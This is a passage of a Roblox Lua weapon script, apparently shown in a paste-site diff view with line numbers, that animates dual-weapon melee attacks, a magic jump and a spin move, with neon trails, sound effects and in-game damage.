        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
4451
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4452
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
4453
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4454
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
4455
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
4456
    end
4457
    --dmgstop()
4458
    attack=false
4459
    con1:disconnect()
4460
if TrailDeb == true then
4461
						TrailDeb = false
4462
end
4463
end
4464
4465
function attacktwo()
4466
    attack=true
4467
if TrailDeb == false then
4468
							TrailDeb = true
4469
						end
4470
						
4471
4472
coroutine.wrap(function()
4473
local Old = Handle2.CFrame.p
4474
while wait()do
4475
if not TrailDeb then break end
4476
local New = Handle2.CFrame.p
4477
local Mag =(Old -New).magnitude
4478
local Dis =(Old +New)/2
4479
local Trail = Instance.new("Part",Character)
4480
Trail.Material = "Neon"
4481
Trail.Anchored = true
4482
Trail.CanCollide = false
4483
Trail.BrickColor = TorsoColor
4484
Trail.Size = Vector3.new(0.2,Mag,0.2)
4485
Trail.TopSurface = 0
4486
Trail.BottomSurface = 0
4487
Trail.formFactor = "Custom"
4488
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4489
local ms = Instance.new("BlockMesh",Trail)
4490
ms.Scale = Vector3.new(1,1,1)
4491
local TM = Instance.new("CylinderMesh",Trail)
4492
TM.Scale = Vector3.new(1,1,1)
4493
Old = New
4494
coroutine.wrap(function()
4495
for i = 1,0,-0.1 do
4496
wait()
4497
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4498
end
4499
Trail:remove()
4500
end)()
4501
coroutine.wrap(function()
4502
for i = 1,10 do
4503
wait()
4504
Trail.Transparency = Trail.Transparency +0.1
4505
end end)()end end)()
4506
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4507
    for i=0,1,0.08 do
4508
        swait()
4509
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
4510
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
4511
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4512
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
4513
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4514
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
4515
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
4516
    end
4517
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4518
    so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) 
4519
    for i=0,1,0.1 do
4520
        swait()
4521
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
4522
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
4523
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4524
        Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
4525
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4526
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
4527
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
4528
    end
4529
    --dmgstop()
4530
    attack=false
4531
    con1:disconnect()
4532
if TrailDeb == true then
4533
						TrailDeb = false
4534
end
4535
end
4536
4537
function attackthree()
4538
    attack=true
4539
    if TrailDeb == false then
4540
							TrailDeb = true
4541
						end
4542
4543
						
4544
coroutine.wrap(function()
4545
local Old = Handle.CFrame.p
4546
while wait()do
4547
if not TrailDeb then break end
4548
local New = Handle.CFrame.p
4549
local Mag =(Old -New).magnitude
4550
local Dis =(Old +New)/2
4551
local Trail = Instance.new("Part",Character)
4552
Trail.Material = "Neon"
4553
Trail.Anchored = true
4554
Trail.CanCollide = false
4555
Trail.BrickColor = TorsoColor
4556
Trail.Size = Vector3.new(0.2,Mag,0.2)
4557
Trail.TopSurface = 0
4558
Trail.BottomSurface = 0
4559
Trail.formFactor = "Custom"
4560
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4561
local ms = Instance.new("BlockMesh",Trail)
4562
ms.Scale = Vector3.new(1,1,1)
4563
local TM = Instance.new("CylinderMesh",Trail)
4564
TM.Scale = Vector3.new(1,1,1)
4565
Old = New
4566
coroutine.wrap(function()
4567
for i = 1,0,-0.1 do
4568
wait()
4569
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4570
end
4571
Trail:remove()
4572
end)()
4573
coroutine.wrap(function()
4574
for i = 1,10 do
4575
wait()
4576
Trail.Transparency = Trail.Transparency +0.1
4577
end end)()end end)()
4578
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) 
4579
    for i=0,1,0.08 do
4580
        swait()
4581
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
4582
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4583
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4584
        Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
4585
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4586
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
4587
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
4588
    end
4589
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4590
    so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) 
4591
    for i=0,1,0.05 do
4592
        swait()
4593
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4594
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
4595
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4596
        Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
4597
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4598
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
4599
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
4600
    end
4601
    --dmgstop()
4602
    attack=false
4603
    con1:disconnect()
4604
if TrailDeb == true then
4605
						TrailDeb = false
4606
end
4607
end
4608
4609
function attackfour()
4610
    attack=true
4611
if TrailDeb == false then
4612
							TrailDeb = true
4613
						end
4614
						
4615
4616
coroutine.wrap(function()
4617
local Old = Handle2.CFrame.p
4618
while wait()do
4619
if not TrailDeb then break end
4620
local New = Handle2.CFrame.p
4621
local Mag =(Old -New).magnitude
4622
local Dis =(Old +New)/2
4623
local Trail = Instance.new("Part",Character)
4624
Trail.Material = "Neon"
4625
Trail.Anchored = true
4626
Trail.CanCollide = false
4627
Trail.BrickColor = TorsoColor
4628
Trail.Size = Vector3.new(0.2,Mag,0.2)
4629
Trail.TopSurface = 0
4630
Trail.BottomSurface = 0
4631
Trail.formFactor = "Custom"
4632
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4633
local ms = Instance.new("BlockMesh",Trail)
4634
ms.Scale = Vector3.new(1,1,1)
4635
local TM = Instance.new("CylinderMesh",Trail)
4636
TM.Scale = Vector3.new(1,1,1)
4637
Old = New
4638
coroutine.wrap(function()
4639
for i = 1,0,-0.1 do
4640
wait()
4641
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4642
end
4643
Trail:remove()
4644
end)()
4645
coroutine.wrap(function()
4646
for i = 1,10 do
4647
wait()
4648
Trail.Transparency = Trail.Transparency +0.1
4649
end end)()end end)()
4650
coroutine.wrap(function()
4651
local Old = Handle.CFrame.p
4652
while wait()do
4653
if not TrailDeb then break end
4654
local New = Handle.CFrame.p
4655
local Mag =(Old -New).magnitude
4656
local Dis =(Old +New)/2
4657
local Trail = Instance.new("Part",Character)
4658
Trail.Material = "Neon"
4659
Trail.Anchored = true
4660
Trail.CanCollide = false
4661
Trail.BrickColor = TorsoColor
4662
Trail.Size = Vector3.new(0.2,Mag,0.2)
4663
Trail.TopSurface = 0
4664
Trail.BottomSurface = 0
4665
Trail.formFactor = "Custom"
4666
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4667
local ms = Instance.new("BlockMesh",Trail)
4668
ms.Scale = Vector3.new(1,1,1)
4669
local TM = Instance.new("CylinderMesh",Trail)
4670
TM.Scale = Vector3.new(1,1,1)
4671
Old = New
4672
coroutine.wrap(function()
4673
for i = 1,0,-0.1 do
4674
wait()
4675
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4676
end
4677
Trail:remove()
4678
end)()
4679
coroutine.wrap(function()
4680
for i = 1,10 do
4681
wait()
4682
Trail.Transparency = Trail.Transparency +0.1
4683
end end)()end end)()
4684
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4685
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4686
    for i=0,1,0.08 do
4687
        swait()
4688
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
4689
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4690
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4691
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4692
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
4693
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
4694
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
4695
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
4696
    end
4697
if anim then
4698
anim.Disabled=true
4699
end
4700
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) 
4701
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) 
4702
    for i=0,1,0.04 do
4703
        swait()
4704
        Torso.Velocity=RootPart.CFrame.lookVector*50
4705
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
4706
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4707
        Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4708
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4709
        RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4710
        LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4711
        RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4712
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4713
    end
4714
    --dmgstop()
4715
    attack=false
4716
    con1:disconnect()
4717
    con2:disconnect()
4718
if anim then
4719
anim.Disabled=false
4720
end
4721
if TrailDeb == true then
4722
						TrailDeb = false
4723
end
4724
end
4725
4726
function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
4727
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
4728
	prt.Anchored = true
4729
	prt.CFrame = cframe
4730
	local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
4731
	coroutine.resume(coroutine.create(function() 
4732
		for i = 0, 1, 0.05 do
4733
			wait()
4734
			prt.Transparency = i
4735
			msh.Scale = msh.Scale + vt(x2, y2, z2)
4736
		end
4737
		prt.Parent = nil
4738
	end))
4739
end
4740
4741
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
4742
	for _, c in pairs(workspace:children()) do
4743
		local hum = c:findFirstChild("Humanoid")
4744
		if hum ~= nil then
4745
			local head = c:findFirstChild("Torso")
4746
			if head ~= nil then
4747
				local targ = head.Position - Part.Position
4748
				local mag = targ.magnitude
4749
				if mag <= magni and c.Name ~= Player.Name then 
4750
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
4751
				end
4752
			end
4753
		end
4754
	end
4755
end
4756
4757
function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
4758
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
4759
	prt.Anchored = true
4760
	prt.CFrame = cframe
4761
	local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
4762
	game:GetService("Debris"):AddItem(prt, 2)
4763
	coroutine.resume(coroutine.create(function(Part, Mesh) 
4764
		for i = 0, 1, delay do
4765
			swait()
4766
			Part.CFrame = Part.CFrame
4767
			Part.Transparency = i
4768
			Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
4769
		end
4770
		Part.Parent = nil
4771
	end), prt, msh)
4772
end
4773
4774
function MagicJump()
4775
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
4776
    attack=true
4777
	mana=mana-25
4778
--[[	Humanoid.WalkSpeed = 0
4779
	    for i=0,1,0.01 do
4780
        swait()
4781
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
4782
		Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
4783
		Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4784
		RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
4785
		LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
4786
		RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
4787
		LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
4788
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
4789
		Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
4790
		Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
4791
    end]]--
4792
	Humanoid.Jump = true
4793
	Torso.Velocity = vt(0, 150, 0)
4794
	Humanoid.WalkSpeed = 64
4795
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
4796
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
4797
 	for i=0,1,0.05 do
4798
	swait()
4799
	Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
4800
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4801
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
4802
    LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
4803
    RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
4804
	RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
4805
	LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
4806
	handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
4807
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
4808
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
4809
end
4810
 	for i=0,1,0.02 do
4811
	swait()
4812
	Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
4813
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4814
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
4815
	RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
4816
	RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4817
	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
4818
	LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4819
	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
4820
	LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
4821
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4822
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
4823
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
4824
end
4825
	Humanoid.WalkSpeed = 0
4826
	swait(8)
4827
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
4828
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
4829
	local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
4830
	if hit~=nil then
4831
	swait(2)
4832
	local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
4833
	ref.Anchored=true
4834
	ref.CFrame=cf(pos)
4835
	game:GetService("Debris"):AddItem(ref,3)
4836
	for i=1,10 do
4837
	local Col=BrickColor.new("Really black")
4838
	local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
4839
	groundpart.Anchored=true
4840
	groundpart.CanCollide=false
4841
	groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
4842
	local Col2=TorsoColor
4843
	local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
4844
	groundpart2.Anchored=true
4845
	groundpart2.CanCollide=false
4846
	groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
4847
	game:GetService("Debris"):AddItem(groundpart,5)
4848
	game:GetService("Debris"):AddItem(groundpart2,5)
4849
	end
4850
	BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
4851
	BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
4852
	MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
4853
	MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
4854
 	for i=0,1,0.06 do
4855
	swait()
4856
	Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
4857
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4858
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
4859
	RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
4860
	LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
4861
	RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
4862
	LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
4863
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4864
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
4865
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
4866
end
4867
end
4868
	swait(20)
4869
	Humanoid.WalkSpeed = 12
4870
    --dmgstop()
4871
    attack=false
4872
end
4873
end
4874
4875
function Spin()
4876
    attack=true
4877
mana=mana-40
4878
if TrailDeb == false then
4879
							TrailDeb = true
4880
						end
4881
						
4882
coroutine.wrap(function()
4883
local Old = Handle2.CFrame.p
4884
while wait()do
4885
if not TrailDeb then break end
4886
local New = Handle2.CFrame.p
4887
local Mag =(Old -New).magnitude
4888
local Dis =(Old +New)/2
4889
local Trail = Instance.new("Part",Character)
4890
Trail.Material = "Neon"
4891
Trail.Anchored = true
4892
Trail.CanCollide = false
4893
Trail.BrickColor = TorsoColor
4894
Trail.Size = Vector3.new(0.2,Mag,0.2)
4895
Trail.TopSurface = 0
4896
Trail.BottomSurface = 0
4897
Trail.formFactor = "Custom"
4898
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4899
local ms = Instance.new("BlockMesh",Trail)
4900
ms.Scale = Vector3.new(1,1,1)
4901
local TM = Instance.new("CylinderMesh",Trail)
4902
TM.Scale = Vector3.new(1,1,1)
4903
Old = New
4904
coroutine.wrap(function()
4905
for i = 1,0,-0.1 do
4906
wait()
4907
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4908
end
4909
Trail:remove()
4910
end)()
4911
coroutine.wrap(function()
4912
for i = 1,10 do
4913
wait()
4914
Trail.Transparency = Trail.Transparency +0.1
4915
end end)()end end)()
4916
coroutine.wrap(function()
4917
local Old = Handle.CFrame.p
4918
while wait()do
4919
if not TrailDeb then break end
4920
local New = Handle.CFrame.p
4921
local Mag =(Old -New).magnitude
4922
local Dis =(Old +New)/2
4923
local Trail = Instance.new("Part",Character)
4924
Trail.Material = "Neon"
4925-
text.Text = "Sweet t: "..math.floor(hum.Health)..""
4925+
4926
Trail.CanCollide = false
4927
Trail.BrickColor = TorsoColor
4928
Trail.Size = Vector3.new(0.2,Mag,0.2)
4929
Trail.TopSurface = 0
4930
Trail.BottomSurface = 0
4931
Trail.formFactor = "Custom"
4932
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4933
local ms = Instance.new("BlockMesh",Trail)
4934
ms.Scale = Vector3.new(1,1,1)
4935
local TM = Instance.new("CylinderMesh",Trail)
4936
TM.Scale = Vector3.new(1,1,1)
4937
Old = New
4938
coroutine.wrap(function()
4939
for i = 1,0,-0.1 do
4940
wait()
4941
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4942
end
4943
Trail:remove()
4944
end)()
4945
coroutine.wrap(function()
4946
for i = 1,10 do
4947
wait()
4948
Trail.Transparency = Trail.Transparency +0.1
4949
end end)()end end)()
4950
	Footsteps:Stop()
4951
	Footsteps2:Stop()
4952
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4953
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4954
    so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) 
4955
    for i=0,1,0.1 do
4956
        swait()
4957
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4958
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4959
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4960
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4961
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4962
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4963
    end
4964
if anim then
4965
anim.Disabled=true
4966
end
4967
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
4968
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
4969
    for i=0,1,0.05 do
4970
        swait()
4971
        Torso.Velocity=RootPart.CFrame.lookVector*100
4972
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
4973
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4974
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4975
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4976
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4977
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4978
    end
4979
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
4980
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
4981
    for i=0,1,0.05 do
4982
        swait()
4983
        Torso.Velocity=RootPart.CFrame.lookVector*100
4984
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
4985
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4986
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4987
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4988
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4989
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4990
    end
4991
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
4992
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
4993
    for i=0,1,0.05 do
4994
        swait()
4995
        Torso.Velocity=RootPart.CFrame.lookVector*100
4996
